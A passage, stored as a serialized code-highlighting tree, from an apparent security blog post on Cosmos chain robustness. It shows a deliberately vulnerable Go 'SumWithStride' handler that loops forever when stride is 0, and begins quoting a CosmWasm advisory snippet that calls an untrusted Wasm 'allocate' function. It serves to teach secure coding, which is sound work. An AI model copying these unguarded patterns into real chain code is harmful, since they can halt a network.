returns",{"type":21,"tag":198,"props":76377,"children":76378},{"style":211},[76379],{"type":27,"value":648},{"type":21,"tag":198,"props":76381,"children":76382},{"style":1966},[76383],{"type":27,"value":76384},"uint64",{"type":21,"tag":198,"props":76386,"children":76387},{"style":211},[76388],{"type":27,"value":668},{"type":21,"tag":198,"props":76390,"children":76391},{"class":200,"line":302},[76392,76396,76401,76405],{"type":21,"tag":198,"props":76393,"children":76394},{"style":1966},[76395],{"type":27,"value":76312},{"type":21,"tag":198,"props":76397,"children":76398},{"style":211},[76399],{"type":27,"value":76400}," idx ",{"type":21,"tag":198,"props":76402,"children":76403},{"style":683},[76404],{"type":27,"value":3174},{"type":21,"tag":198,"props":76406,"children":76407},{"style":211},[76408],{"type":27,"value":76409}," start;\n",{"type":21,"tag":198,"props":76411,"children":76412},{"class":200,"line":323},[76413,76417,76422,76426,76430],{"type":21,"tag":198,"props":76414,"children":76415},{"style":1966},[76416],{"type":27,"value":76312},{"type":21,"tag":198,"props":76418,"children":76419},{"style":211},[76420],{"type":27,"value":76421}," sum ",{"type":21,"tag":198,"props":76423,"children":76424},{"style":683},[76425],{"type":27,"value":3174},{"type":21,"tag":198,"props":76427,"children":76428},{"style":2540},[76429],{"type":27,"value":3855},{"type":21,"tag":198,"props":76431,"children":76432},{"style":211},[76433],{"type":27,"value":1483},{"type":21,"tag":198,"props":76435,"children":76436},{"class":200,"line":344},[76437,76441,76446,76450],{"type":21,"tag":198,"props":76438,"children":76439},{"style":1966},[76440],{"type":27,"value":76312},{"type":21,"tag":198,"props":76442,"children":76443},{"style":211},[76444],{"type":27,"value":76445}," end ",{"type":21,"tag":198,"props":76447,"children":76448},{"style":683},[76449],{"type":27,"value":3174},{"type":21,"tag":198,"props":76451,"children":76452},{"style":211},[76453],{"type":27,"value":76454}," arr.length;\n",{"type":21,"tag":198,"props":76456,"children":76457},{"class":200,"line":365},[76458],{"type":21,"tag":198,"props":76459,"children":76460},{"emptyLinePlaceholder":16},[76461],{"type":27,"value":1283},{"type":21,"tag":198,"props":76463,"children":76464},{"class":200,"line":386},[76465,76469,76474,76478],{"type":21,"tag":198,"props":76466,"children":76467},{"style":640},[76468],{"type":27,"value":64752},{"type":21,"tag":198,"props":76470,"children":76471},{"style":211},[76472],{"type":27,"value":76473}," (idx ",{"type":21,"tag":198,"props":76475,"children":76476},{"style":683},[76477],{"type":27,"value":3159},{"type":21,"tag":198,"props":76479,"children":76480},{"style":211},[76481],{"type":27,"value":76482}," end) {\n",{"type":21,"tag":198,"props":76484,"children":76485},{"class":200,"line":408},[76486,76491,76495],{"type":21,"tag":198,"props":76487,"children":76488},{"style":211},[76489],{"type":27,"value":76490}," sum ",{"type":21,"tag":198,"props":76492,"children":76493},{"style":683},[76494],{"type":27,"value":68817},{"type":21,"tag":198,"props":76496,"children":76497},{"style":211},[76498],{"type":27,"value":76499}," arr[idx];\n",{"type":21,"tag":198,"props":76501,"children":76502},{"class":200,"line":429},[76503,76508,76512],{"type":21,"tag":198,"props":76504,"children":76505},{"style":211},[76506],{"type":27,"value":76507}," idx ",{"type":21,"tag":198,"props":76509,"children":76510},{"style":683},[76511],{"type":27,"value":68817},{"type":21,"tag":198,"props":76513,"children":76514},{"style":211},[76515],{"type":27,"value":76516}," stride;\n",{"type":21,"tag":198,"props":76518,"children":76519},{"class":200,"line":450},[76520],{"type":21,"tag":198,"props":76521,"children":76522},{"style":211},[76523],{"type":27,"value":880},{"type":21,"tag":198,"props":76525,"children":76526},{"class":200,"line":468},[76527,76531],{"type":21,"tag":198,"props":76528,"children":76529},{"style":640},[76530],{"type":27,"value":1478},{"type":21,"tag":198,"props":76532,"children":76533},{"style":211},[76534],{"type":27,"value":76535}," sum;\n",{"type":21,"tag":198,"props":76537,"children":76538},{"class":200,"line":477},[76539],{"type":21,"tag":198,"props":76540,"children":76541},{"style":211},[76542],{"type":27,"value":1120},{"type":21,"tag":187,"props":76544,"children":76548},{"code":76545,"language":76546,"meta":7,"className":76547,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[76549],{"type":21,"tag":194,"props":76550,"children":76551},{"__ignoreMap":7},[76552,76572,76585,76597,76615,76622,76629,76649,76661,76668,76675,76710,76736,76757,76786,76816,76861,76938,76974,76981,77025],{"type":21,"tag":198,"props":76553,"children":76554},{"class":200,"line":201},[76555,76559,76564,76568],{"type":21,"tag":198,"props":76556,"children":76557},{"style":249},[76558],{"type":27,"value":33535},{"type":21,"tag":198,"props":76560,"children":76561},{"style":1966},[76562],{"type":27,"value":76563}," MsgSumWithStrideParams",{"type":21,"tag":198,"props":76565,"children":76566},{"style":249},[76567],{"type":27,"value":21944},{"type":21,"tag":198,"props":76569,"children":76570},{"style":211},[76571],{"type":27,"value":233},{"type":21,"tag":198,"props":76573,"children":76574},{"class":200,"line":217},[76575,76580],{"type":21,"tag":198,"props":76576,"children":76577},{"style":226},[76578],{"type":27,"value":76579}," Start",{"type":21,"tag":198,"props":76581,"children":76582},{"style":1966},[76583],{"type":27,"value":76584}," uint64\n",{"type":21,"tag":198,"props":76586,"children":76587},{"class":200,"line":236},[76588,76593],{"type":21,"tag":198,"props":76589,"children":76590},{"style":226},[76591],{"type":27,"value":76592}," Stride",{"type":21,"tag":198,"props":76594,"children":76595},{"style":1966},[76596],{"type":27,"value":76584},{"type":21,"tag":198,"props":76598,"children":76599},{"class":200,"line":260},[76600,76605,76610],{"type":21,"tag":198,"props":76601,"children":76602},{"style":226},[76603],{"type":27,"value":76604}," Arr",{"type":21,"tag":198,"props":76606,"children":76607},{"style":211},[76608],{"type":27,"value":76609}," []",{"type":21,"tag":198,"props":76611,"children":76612},{"style":1966},[76613],{"type":27,"value":76614},"uint64\n",{"type":21,"tag":198,"props":76616,"children":76617},{"class":200,"line":281},[76618],{"type":21,"tag":198,"props":76619,"children":76620},{"style":211},[76621],{"type":27,"value":1120},{"type":21,"tag":198,"props":76623,"children":76624},{"class":200,"line":302},[76625],{"type":21,"tag":198,"props":76626,"children":76627},{"emptyLinePlaceholder":16},[76628],{"type":27,"value":1283},{"type":21,"tag":198,"props":76630,"children":76631},{"class":200,"line":323},[76632,76636,76641,76645],{"type":21,"tag":198,"props":76633,"children":76634},{"style":249},[76635],{"type":27,"value":33535},{"type":21,"tag":198,"props":76637,"children":76638},{"style":1966},[76639],{"type":27,"value":76640}," MsgSumWithStrideResponse",{"type":21,"tag":198,"props":76642,"children":76643},{"style":249},[76644],{"type":27,"value":21944},{"type":21,"tag":198,"props":76646,"children":76647},{"style":211},[76648],{"type":27,"value":233},{"type":21,"tag":198,"props":76650,"children":76651},{"class":200,"line":344},[76652,76657],{"type":21,"tag":198,"props":76653,"children":76654},{"style":226},[76655],{"type":27,"value":76656}," Sum",{"type":21,"tag":198,"props":76658,"children":76659},{"style":1966},[76660],{"type":27,"value":76584},{"type":21,"tag":198,"props":76662,"children":76663},{"class":200,"line":365},[76664],{"type":21,"tag":198,"props":76665,"children":76666},{"style":211},[76667],{"type":27,"value":1120},{"type":21,"tag":198,"props":76669,"children":76670},{"class":200,"line":386},[76671],{"type":21,"tag":198,"props":76672,"children":76673},{"emptyLinePlaceholder":16},[76674],{"type":27,"value":1283},{"type":21,"tag":198,"props":76676,"children":76677},{"class":200,"line":408},[76678,76683,76687,76692,76697,76701,76706],{"type":21,"tag":198,"props":76679,"children":76680},{"style":249},[76681],{"type":27,"value":76682},"func",{"type":21,"tag":198,"props":76684,"children":76685},{"style":211},[76686],{"type":27,"value":648},{"type":21,"tag":198,"props":76688,"children":76689},{"style":226},[76690],{"type":27,"value":76691},"ms ",{"type":21,"tag":198,"props":76693,"children":76694},{"style":1966},[76695],{"type":27,"value":76696},"msgServer",{"type":21,"tag":198,"props":76698,"children":76699},{"style":211},[76700],{"type":27,"value":1541},{"type":21,"tag":198,"props":76702,"children":76703},{"style":698},[76704],{"type":27,"value":76705},"SumWithStride",{"type":21,"tag":198,"props":76707,"children":76708},{"style":211},[76709],{"type":27,"value":4268},{"type":21,"tag":198,"props":76711,"children":76712},{"class":200,"line":429},[76713,76718,76723,76727,76732],{"type":21,"tag":198,"props":76714,"children":76715},{"style":226},[76716],{"type":27,"value":76717}," goCtx",{"type":21,"tag":198,"props":76719,"children":76720},{"style":1966},[76721],{"type":27,"value":76722}," context",{"type":21,"tag":198,"props":76724,"children":76725},{"style":211},[76726],{"type":27,"value":658},{"type":21,"tag":198,"props":76728,"children":76729},{"style":1966},[76730],{"type":27,"value":76731},"Context",{"type":21,"tag":198,"props":76733,"children":76734},{"style":211},[76735],{"type":27,"value":257},{"type":21,"tag":198,"props":76737,"children":76738},{"class":200,"line":450},[76739,76744,76748,76753],{"type":21,"tag":198,"props":76740,"children":76741},{"style":226},[76742],{"type":27,"value":76743}," msg",{"type":21,"tag":198,"props":76745,"children":76746},{"style":683},[76747],{"type":27,"value":10626},{"type":21,"tag":198,"props":76749,"children":76750},{"style":1966},[76751],{"type":27,"value":76752},"MsgSumWithStrideParams",{"type":21,"tag":198,"props":76754,"children":76755},{"style":211},[76756],{"type":27,"value":257},{"type":21,"tag":198,"props":76758,"children":76759},{"class":200,"line":468},[76760,76765,76769,76774,76778,76782],{"type":21,"tag":198,"props":76761,"children":76762},{"style":211},[76763],{"type":27,"value":76764},") (",{"type":21,"tag":198,"props":76766,"children":76767},{"style":683},[76768],{"type":27,"value":5383},{"type":21,"tag":198,"props":76770,"children":76771},{"style":1966},[76772],{"type":27,"value":76773},"MsgSumWithStrideResponse",{"type":21,"tag":198,"props":76775,"children":76776},{"style":211},[76777],{"type":27,"value":828},{"type":21,"tag":198,"props":76779,"children":76780},{"style":1966},[76781],{"type":27,"value":15668},{"type":21,"tag":198,"props":76783,"children":76784},{"style":211},[76785],{"type":27,"value":668},{"type":21,"tag":198,"props":76787,"children":76788},{"class":200,"line":477},[76789,76794,76799,76804,76808,76812],{"type":21,"tag":198,"props":76790,"children":76791},{"style":226},[76792],{"type":27,"value":76793}," sum",{"type":21,"tag":198,"props":76795,"children":76796},{"style":683},[76797],{"type":27,"value":76798}," :=",{"type":21,"tag":198,"props":76800,"children":76801},{"style":1966},[76802],{"type":27,"value":76803}," uint64",{"type":21,"tag":198,"props":76805,"children":76806},{"style":211},[76807],{"type":27,"value":706},{"type":21,"tag":198,"props":76809,"children":76810},{"style":2540},[76811],{"type":27,"value":3482},{"type":21,"tag":198,"props":76813,"children":76814},{"style":211},[76815],{"type":27,"value":789},{"type":21,"tag":198,"props":76817,"children":76818},{"class":200,"line":494},[76819,76824,76828,76832,76836,76840,76844,76848,76852,76857],{"type":21,"tag":198,"props":76820,"children":76821},{"style":226},[76822],{"type":27,"value":76823}," end",{"type":21,"tag":198,"props":76825,"children":76826},{"style":683},[76827],{"type":27,"value":76798},{"type":21,"tag":198,"props":76829,"children":76830},{"style":1966},[76831],{"type":27,"value":76803},{"type":21,"tag":198,"props":76833,"children":76834},{"style":211},[76835],{"type":27,"value":706},{"type":21,"tag":198,"props":76837,"children":76838},{"style":698},[76839],{"type":27,"value":9950},{"type":21,"tag":198,"props":76841,"children":76842},{"style":211},[76843],{"type":27,"value":706},{"type":21,"tag":198,"props":76845,"children":76846},{"style":226},[76847],{"type":27,"value":58323},{"type":21,"tag":198,"props":76849,"children":76850},{"style":211},[76851],{"type":27,"value":658},{"type":21,"tag":198,"props":76853,"children":76854},{"style":226},[76855],{"type":27,"value":76856},"Arr",{"type":21,"tag":198,"props":76858,"children":76859},{"style":211},[76860],{"type":27,"value":872},{"type":21,"tag":198,"props":76862,"children":76863},{"class":200,"line":515},[76864,76868,76873,76877,76882,76886,76891,76895,76900,76904,76909,76913,76917,76921,76925,76929,76934],{"type":21,"tag":198,"props":76865,"children":76866},{"style":640},[76867],{"type":27,"value":3840},{"type":21,"tag":198,"props":76869,"children":76870},{"style":226},[76871],{"type":27,"value":76872}," idx",{"type":21,"tag":198,"props":76874,"children":76875},{"style":683},[76876],{"type":27,"value":76798},{"type":21,"tag":198,"props":76878,"children":76879},{"style":226},[76880],{"type":27,"value":76881}," msg",{"type":21,"tag":198,"props":76883,"children":76884},{"style":211},[76885],{"type":27,"value":658},{"type":21,"tag":198,"props":76887,"children":76888},{"style":226},[76889],{"type":27,"value":76890},"Start",{"type":21,"tag":198,"props":76892,"children":76893},{"style":211},[76894],{"type":27,"value":18028},{"type":21,"tag":198,"props":76896,"children":76897},{"style":226},[76898],{"type":27,"value":76899},"idx",{"type":21,"tag":198,"props":76901,"children":76902},{"style":683},[76903],{"type":27,"value":9529},{"type":21,"tag":198,"props":76905,"children":76906},{"style":226},[76907],{"type":27,"value":76908}," end",{"type":21,"tag":198,"props":76910,"children":76911},{"style":211},[76912],{"type":27,"value":18028},{"type":21,"tag":198,"props":76914,"children":76915},{"style":226},[76916],{"type":27,"value":76899},{"type":21,"tag":198,"props":76918,"children":76919},{"style":683},[76920],{"type":27,"value":15869},{"type":21,"tag":198,"props":76922,"children":76923},{"style":226},[76924],{"type":27,"value":76881},{"type":21,"tag":198,"props":76926,"children":76927},{"style":211},[76928],{"type":27,"value":658},{"type":21,"tag":198,"props":76930,"children":76931},{"style":226},[76932],{"type":27,"value":76933},"Stride",{"type":21,"tag":198,"props":76935,"children":76936},{"style":211},[76937],{"type":27,"value":233},{"type":21,"tag":198,"props":76939,"children":76940},{"class":200,"line":4484},[76941,76946,76950,76954,76958,76962,76966,76970],{"type":21,"tag":198,"props":76942,"children":76943},{"style":226},[76944],{"type":27,"value":76945}," sum",{"type":21,"tag":198,"props":76947,"children":76948},{"style":683},[76949],{"type":27,"value":15869},{"type":21,"tag":198,"props":76951,"children":76952},{"style":226},[76953],{"type":27,"value":76881},{"type":21,"tag":198,"props":76955,"children":76956},{"style":211},[76957],{"type":27,"value":658},{"type":21,"tag":198,"props":76959,"children":76960},{"style":226},[76961],{"type":27,"value":76856},{"type":21,"tag":198,"props":76963,"children":76964},{"style":211},[76965],{"type":27,"value":2051},{"type":21,"tag":198,"props":76967,"children":76968},{"style":226},[76969],{"type":27,"value":76899},{"type":21,"tag":198,"props":76971,"children":76972},{"style":211},[76973],{"type":27,"value":12582},{"type":21,"tag":198,"props":76975,"children":76976},{"class":200,"line":4493},[76977],{"type":21,"tag":198,"props":76978,"children":76979},{"style":211},[76980],{"type":27,"value":880},{"type":21,"tag":198,"props":76982,"children":76983},{"class":200,"line":4561},[76984,76988,76992,76996,77001,77006,77010,77015,77020],{"type":21,"tag":198,"props":76985,"children":76986},{"style":640},[76987],{"type":27,"value":1478},{"type":21,"tag":198,"props":76989,"children":76990},{"style":683},[76991],{"type":27,"value":7953},{"type":21,"tag":198,"props":76993,"children":76994},{"style":1966},[76995],{"type":27,"value":76773},{"type":21,"tag":198,"props":76997,"children":76998},{"style":211},[76999],{"type":27,"value":77000},"{",{"type":21,"tag":198,"props":77002,"children":77003},{"style":226},[77004],{"type":27,"value":77005},"Sum",{"type":21,"tag":198,"props":77007,"children":77008},{"style":211},[77009],{"type":27,"value":16136},{"type":21,"tag":198,"props":77011,"children":77012},{"style":226},[77013],{"type":27,"value":77014},"sum",{"type":21,"tag":198,"props":77016,"children":77017},{"style":211},[77018],{"type":27,"value":77019},"}, ",{"type":21,"tag":198,"props":77021,"children":77022},{"style":249},[77023],{"type":27,"value":77024},"nil\n",{"type":21,"tag":198,"props":77026,"children":77027},{"class":200,"line":4569},[77028],{"type":21,"tag":198,"props":77029,"children":77030},{"style":211},[77031],{"type":27,"value":1120},{"type":21,"tag":30,"props":77033,"children":77034},{},[77035,77037,77042,77043,77049],{"type":27,"value":77036},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":21,"tag":194,"props":77038,"children":77040},{"className":77039},[],[77041],{"type":27,"value":76899},{"type":27,"value":8126},{"type":21,"tag":194,"props":77044,"children":77046},{"className":77045},[],[77047],{"type":27,"value":77048},"stride",{"type":27,"value":77050},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":21,"tag":30,"props":77052,"children":77053},{},[77054],{"type":27,"value":77055},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":21,"tag":30,"props":77057,"children":77058},{},[77059],{"type":27,"value":77060},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":21,"tag":30,"props":77062,"children":77063},{},[77064],{"type":27,"value":77065},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":21,"tag":59,"props":77067,"children":77069},{"id":77068},"real-world-examples",[77070],{"type":27,"value":77071},"Real-World Examples",{"type":21,"tag":30,"props":77073,"children":77074},{},[77075],{"type":27,"value":77076},"Now, let's examine a few real-world instances.",{"type":21,"tag":30,"props":77078,"children":77079},{},[77080,77082,77088,77089,77095,77097,77103,77105,77111],{"type":27,"value":77081},"In the case of ",{"type":21,"tag":34,"props":77083,"children":77086},{"href":77084,"rel":77085},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[38],[77087],{"type":27,"value":18495},{"type":27,"value":915},{"type":21,"tag":194,"props":77090,"children":77092},{"className":77091},[],[77093],{"type":27,"value":77094},"CosmWasm",{"type":27,"value":77096}," bug, the helper method ",{"type":21,"tag":194,"props":77098,"children":77100},{"className":77099},[],[77101],{"type":27,"value":77102},"write_to_contract",{"type":27,"value":77104}," negligently calls the untrusted Wasm function ",{"type":21,"tag":194,"props":77106,"children":77108},{"className":77107},[],[77109],{"type":27,"value":77110},"\"allocate\"",{"type":27,"value":658},{"type":21,"tag":30,"props":77113,"children":77114},{},[77115],{"type":21,"tag":34,"props":77116,"children":77119},{"href":77117,"rel":77118},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[38],[77120],{"type":27,"value":77121},"Permalink for snippet",{"type":21,"tag":187,"props":77123,"children":77125},{"code":77124,"language":3788,"meta":7,"className":3789,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[77126],{"type":21,"tag":194,"props":77127,"children":77128},{"__ignoreMap":7},[77129,77198,77246,77274,77303,77352,77426,77471,77494,77539,77546,77603,77622],{"type":21,"tag":198,"props":77130,"children":77131},{"class":200,"line":201},[77132,77136,77141,77145,77150,77154,77159,77163,77167,77171,77176,77180,77185,77189,77194],{"type":21,"tag":198,"props":77133,"children":77134},{"style":249},[77135],{"type":27,"value":21061},{"type":21,"tag":198,"props":77137,"children":77138},{"style":698},[77139],{"type":27,"value":77140}," write_to_contract",{"type":21,"tag":198,"props":77142,"children":77143},{"style":211},[77144],{"type":27,"value":3159},{"type":21,"tag":198,"props":77146,"children":77147},{"style":1966},[77148],{"type":27,"value":77149},"A",{"type":21,"tag":198,"props":77151,"children":77152},{"style":683},[77153],{"type":27,"value":185},{"type":21,"tag":198,"props":77155,"children":77156},{"style":1966},[77157],{"type":27,"value":77158}," BackendApi",{"type":21,"tag":198,"props":77160,"children":77161},{"style":211},[77162],{"type":27,"value":828},{"type":21,"tag":198,"props":77164,"children":77165},{"style":1966},[77166],{"type":27,"value":22843},{"type":21,"tag":198,"props":77168,"children":77169},{"style":683},[77170],{"type":27,"value":185},{"type":21,"tag":198,"props":77172,"children":77173},{"style":1966},[77174],{"type":27,"value":77175}," Storage",{"type":21,"tag":198,"props":77177,"children":77178},{"style":211},[77179],{"type":27,"value":828},{"type":21,"tag":198,"props":77181,"children":77182},{"style":1966},[77183],{"type":27,"value":77184},"Q",{"type":21,"tag":198,"props":77186,"children":77187},{"style":683},[77188],{"type":27,"value":185},{"type":21,"tag":198,"props":77190,"children":77191},{"style":1966},[77192],{"type":27,"value":77193}," Querier",{"type":21,"tag":198,"props":77195,"children":77196},{"style":211},[77197],{"type":27,"value":7400},{"type":21,"tag":198,"props":77199,"children":77200},{"class":200,"line":217},[77201,77205,77209,77213,77218,77222,77226,77230,77234,77238,77242],{"type":21,"tag":198,"props":77202,"children":77203},{"style":226},[77204],{"type":27,"value":4652},{"type":21,"tag":198,"props":77206,"children":77207},{"style":683},[77208],{"type":27,"value":185},{"type":21,"tag":198,"props":77210,"children":77211},{"style":683},[77212],{"type":27,"value":7953},{"type":21,"tag":198,"props":77214,"children":77215},{"style":1966},[77216],{"type":27,"value":77217},"Environment",{"type":21,"tag":198,"props":77219,"children":77220},{"style":211},[77221],{"type":27,"value":3159},{"type":21,"tag":198,"props":77223,"children":77224},{"style":1966},[77225],{"type":27,"value":77149},{"type":21,"tag":198,"props":77227,"children":77228},{"style":211},[77229],{"type":27,"value":828},{"type":21,"tag":198,"props":77231,"children":77232},{"style":1966},[77233],{"type":27,"value":22843},{"type":21,"tag":198,"props":77235,"children":77236},{"style":211},[77237],{"type":27,"value":828},{"type":21,"tag":198,"props":77239,"children":77240},{"style":1966},[77241],{"type":27,"value":77184},{"type":21,"tag":198,"props":77243,"children":77244},{"style":211},[77245],{"type":27,"value":6950},{"type":21,"tag":198,"props":77247,"children":77248},{"class":200,"line":236},[77249,77254,77258,77262,77266,77270],{"type":21,"tag":198,"props":77250,"children":77251},{"style":226},[77252],{"type":27,"value":77253}," input",{"type":21,"tag":198,"props":77255,"children":77256},{"style":683},[77257],{"type":27,"value":185},{"type":21,"tag":198,"props":77259,"children":77260},{"style":683},[77261],{"type":27,"value":7953},{"type":21,"tag":198,"props":77263,"children":77264},{"style":211},[77265],{"type":27,"value":2051},{"type":21,"tag":198,"props":77267,"children":77268},{"style":1966},[77269],{"type":27,"value":4226},{"type":21,"tag":198,"props":77271,"children":77272},{"style":211},[77273],{"type":27,"value":2820},{"type":21,"tag":198,"props":77275,"children":77276},{"class":200,"line":260},[77277,77281,77285,77290,77294,77299],{"type":21,"tag":198,"props":77278,"children":77279},{"style":211},[77280],{"type":27,"value":1541},{"type":21,"tag":198,"props":77282,"children":77283},{"style":683},[77284],{"type":27,"value":14564},{"type":21,"tag":198,"props":77286,"children":77287},{"style":1966},[77288],{"type":27,"value":77289}," VmResult",{"type":21,"tag":198,"props":77291,"children":77292},{"style":211},[77293],{"type":27,"value":3159},{"type":21,"tag":198,"props":77295,"children":77296},{"style":1966},[77297],{"type":27,"value":77298},"u32",{"type":21,"tag":198,"props":77300,"children":77301},{"style":211},[77302],{"type":27,"value":8093},{"type":21,"tag":198,"props":77304,"children":77305},{"class":200,"line":281},[77306,77310,77315,77319,77324,77328,77332,77336,77340,77344,77348],{"type":21,"tag":198,"props":77307,"children":77308},{"style":249},[77309],{"type":27,"value":3809},{"type":21,"tag":198,"props":77311,"children":77312},{"style":226},[77313],{"type":27,"value":77314}," out_size",{"type":21,"tag":198,"props":77316,"children":77317},{"style":683},[77318],{"type":27,"value":979},{"type":21,"tag":198,"props":77320,"children":77321},{"style":698},[77322],{"type":27,"value":77323}," to_u32",{"type":21,"tag":198,"props":77325,"children":77326},{"style":211},[77327],{"type":27,"value":706},{"type":21,"tag":198,"props":77329,"children":77330},{"style":226},[77331],{"type":27,"value":9177},{"type":21,"tag":198,"props":77333,"children":77334},{"style":683},[77335],{"type":27,"value":658},{"type":21,"tag":198,"props":77337,"children":77338},{"style":698},[77339],{"type":27,"value":9950},{"type":21,"tag":198,"props":77341,"children":77342},{"style":211},[77343],{"type":27,"value":42718},{"type":21,"tag":198,"props":77345,"children":77346},{"style":683},[77347],{"type":27,"value":2156},{"type":21,"tag":198,"props":77349,"children":77350},{"style":211},[77351],{"type":27,"value":1483},{"type":21,"tag":198,"props":77353,"children":77354},{"class":200,"line":302},[77355,77359,77363,77367,77371,77375,77380,77384,77388,77392,77396,77400,77405,77409,77413,77418,77422],{"type":21,"tag":198,"props":77356,"children":77357},{"style":249},[77358],{"type":27,"value":3809},{"type":21,"tag":198,"props":77360,"children":77361},{"style":226},[77362],{"type":27,"value":9971},{"type":21,"tag":198,"props":77364,"children":77365},{"style":683},[77366],{"type":27,"value":979},{"type":21,"tag":198,"props":77368,"children":77369},{"style":226},[77370],{"type":27,"value":43712},{"type":21,"tag":198,"props":77372,"children":77373},{"style":683},[77374],{"type":27,"value":658},{"type":21,"tag":198,"props":77376,"children":77377},{"style":698},[77378],{"type":27,"value":77379},"call_function1",{"type":21,"tag":198,"props":77381,"children":77382},{"style":211},[77383],{"type":27,"value":706},{"type":21,"tag":198,"props":77385,"children":77386},{"style":205},[77387],{"type":27,"value":77110},{"type":21,"tag":198,"props":77389,"children":77390},{"style":211},[77391],{"type":27,"value":828},{"type":21,"tag":198,"props":77393,"children":77394},{"style":683},[77395],{"type":27,"value":3917},{"type":21,"tag":198,"props":77397,"children":77398},{"style":211},[77399],{"type":27,"value":2051},{"type":21,"tag":198,"props":77401,"children":77402},{"style":226},[77403],{"type":27,"value":77404},"out_size",{"type":21,"tag":198,"props":77406,"children":77407},{"style":683},[77408],{"type":27,"value":658},{"type":21,"tag":198,"props":77410,"children":77411},{"style":698},[77412],{"type":27,"value":15690},{"type":21,"tag":198,"props":77414,"children":77415},{"style":211},[77416],{"type":27,"value":77417},"()])",{"type":21,"tag":198,"props":77419,"children":77420},{"style":683},[77421],{"type":27,"value":2156},{"type":21,"tag":198,"props":77423,"children":77424},{"style":211},[77425],{"type":27,"value":1483},{"type":21,"tag":198,"props":77427,"children":77428},{"class":200,"line":323},[77429,77433,77438,77442,77447,77451,77455,77459,77463,77467],{"type":21,"tag":198,"props":77430,"children":77431},{"style":249},[77432],{"type":27,"value":3809},{"type":21,"tag":198,"props":77434,"children":77435},{"style":226},[77436],{"type":27,"value":77437}," target_ptr",{"type":21,"tag":198,"props":77439,"children":77440},{"style":683},[77441],{"type":27,"value":979},{"type":21,"tag":198,"props":77443,"children":77444},{"style":698},[77445],{"type":27,"value":77446}," ref_to_u32",{"type":21,"tag":198,"props":77448,"children":77449},{"style":211},[77450],{"type":27,"value":706},{"type":21,"tag":198,"props":77452,"children":77453},{"style":683},[77454],{"type":27,"value":3917},{"type":21,"tag":198,"props":77456,"children":77457},{"style":226},[77458],{"type":27,"value":9893},{"type":21,"tag":198,"props":77460,"children":77461},{"style":211},[77462],{"type":27,"value":2109},{"type":21,"tag":198,"props":77464,"children":77465},{"style":683},[77466],{"type":27,"value":2156},{"type":21,"tag":198,"props":77468,"children":77469},{"style":211},[77470],{"type":27,"value":1483},{"type":21,"tag":198,"props":77472,"children":77473},{"class":200,"line":344},[77474,77478,77482,77486,77490],{"type":21,"tag":198,"props":77475,"children":77476},{"style":640},[77477],{"type":27,"value":643},{"type":21,"tag":198,"props":77479,"children":77480},{"style":226},[77481],{"type":27,"value":77437},{"type":21,"tag":198,"props":77483,"children":77484},{"style":683},[77485],{"type":27,"value":4089},{"type":21,"tag":198,"props":77487,"children":77488},{"style":2540},[77489],{"type":27,"value":3855},{"type":21,"tag":198,"props":77491,"children":77492},{"style":211},[77493],{"type":27,"value":233},{"type":21,"tag":198,"props":77495,"children":77496},{"class":200,"line":365},[77497,77501,77505,77509,77514,77518,77523,77527,77531,77535],{"type":21,"tag":198,"props":77498,"children":77499},{"style":640},[77500],{"type":27,"value":16547},{"type":21,"tag":198,"props":77502,"children":77503},{"style":1966},[77504],{"type":27,"value":16552},{"type":21,"tag":198,"props":77506,"children":77507},{"style":211},[77508],{"type":27,"value":706},{"type":21,"tag":198,"props":77510,"children":77511},{"style":1966},[77512],{"type":27,"value":77513},"CommunicationError",{"type":21,"tag":198,"props":77515,"children":77516},{"style":683},[77517],{"type":27,"value":4286},{"type":21,"tag":198,"props":77519,"children":77520},{"style":698},[77521],{"type":27,"value":77522},"zero_address",{"type":21,"tag":198,"props":77524,"children":77525},{"style":211},[77526],{"type":27,"value":14686},{"type":21,"tag":198,"props":77528,"children":77529},{"style":683},[77530],{"type":27,"value":658},{"type":21,"tag":198,"props":77532,"children":77533},{"style":698},[77534],{"type":27,"value":15690},{"type":21,"tag":198,"props":77536,"children":77537},{"style":211},[77538],{"type":27,"value":16229},{"type":21,"tag":198,"props":77540,"children":77541},{"class":200,"line":386},[77542],{"type":21,"tag":198,"props":77543,"children":77544},{"style":211},[77545],{"type":27,"value":880},{"type":21,"tag":198,"props":77547,"children":77548},{"class":200,"line":408},[77549,77554,77558,77562,77566,77570,77574,77578,77583,77587,77591,77595,77599],{"type":21,"tag":198,"props":77550,"children":77551},{"style":698},[77552],{"type":27,"value":77553}," 